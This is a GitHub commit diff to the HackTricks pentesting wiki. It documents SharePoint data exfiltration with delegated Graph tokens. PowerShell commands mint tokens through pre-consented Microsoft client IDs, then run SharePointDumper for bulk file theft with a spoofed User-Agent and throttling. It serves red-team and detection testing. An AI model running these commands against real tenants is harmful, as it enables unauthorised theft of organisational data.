Skip to content

Commit d4b7c71

Browse files
authored
Merge pull request #251 from HackTricks-wiki/update_SharePointDumper_20260127_014432
SharePointDumper
2 parents d3f02fa + 41b5981 commit d4b7c71

File tree

1 file changed

+59
-0
lines changed

1 file changed

+59
-0
lines changed

src/pentesting-cloud/azure-security/az-services/az-azuread.md

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1176,6 +1176,63 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
11761176
{{#endtab }}
11771177
{{#endtabs }}
11781178
1179+
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
1180+
1181+
Attackers with a **delegated Microsoft Graph token** that includes **`Sites.Read.All`** or **`Sites.ReadWrite.All`** can enumerate **sites/drives/items** over Graph and then **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). The [SharePointDumper](https://github.com/zh54321/SharePointDumper) script automates the full flow (enumeration → pre-auth downloads) and emits per-request telemetry for detection testing.
1182+
1183+
### Obtaining usable delegated tokens
1184+
1185+
- SharePointDumper itself **does not authenticate**; supply an access token (optionally refresh token).
1186+
- Pre-consented **first-party clients** can be abused to mint a Graph token without registering an app. Example `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) invocations:
1187+
1188+
```powershell
1189+
# CAE requested by default; yields long-lived (~24h) access token
1190+
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
1191+
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
1192+
1193+
# Other pre-consented clients
1194+
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
1195+
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
1196+
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
1197+
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
1198+
```
1199+
1200+
> [!NOTE]
1201+
> FOCI TRUE clients support refresh across devices; FOCI FALSE clients often require `-Origin` to satisfy reply URL origin validation.
1202+
1203+
### Running SharePointDumper for enumeration + exfiltration
1204+
1205+
- Basic dump with custom UA / proxy / throttling:
1206+
1207+
```powershell
1208+
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
1209+
```
1210+
1211+
- Scope control: include/exclude sites or extensions and global caps:
1212+
1213+
```powershell
1214+
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
1215+
```
1216+
1217+
- **Resume** interrupted runs (re-enumerates but skips downloaded items):
1218+
1219+
```powershell
1220+
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
1221+
```
1222+
1223+
- **Automatic token refresh on HTTP 401** (requires EntraTokenAid loaded):
1224+
1225+
```powershell
1226+
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
1227+
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
1228+
```
1229+
1230+
Operational notes:
1231+
1232+
- Prefers **CAE-enabled** tokens to avoid mid-run expiry; refresh attempts are **not** logged in the tool’s API log.
1233+
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
1234+
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.
1235+
11791236
## Entra ID Privilege Escalation
11801237
11811238
{{#ref}}
@@ -1245,6 +1302,8 @@ The default mode is **Audit**:
12451302
## References
12461303
12471304
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
1305+
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
1306+
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
12481307
12491308
{{#include ../../../banners/hacktricks-training.md}}
12501309

0 commit comments

Comments
 (0)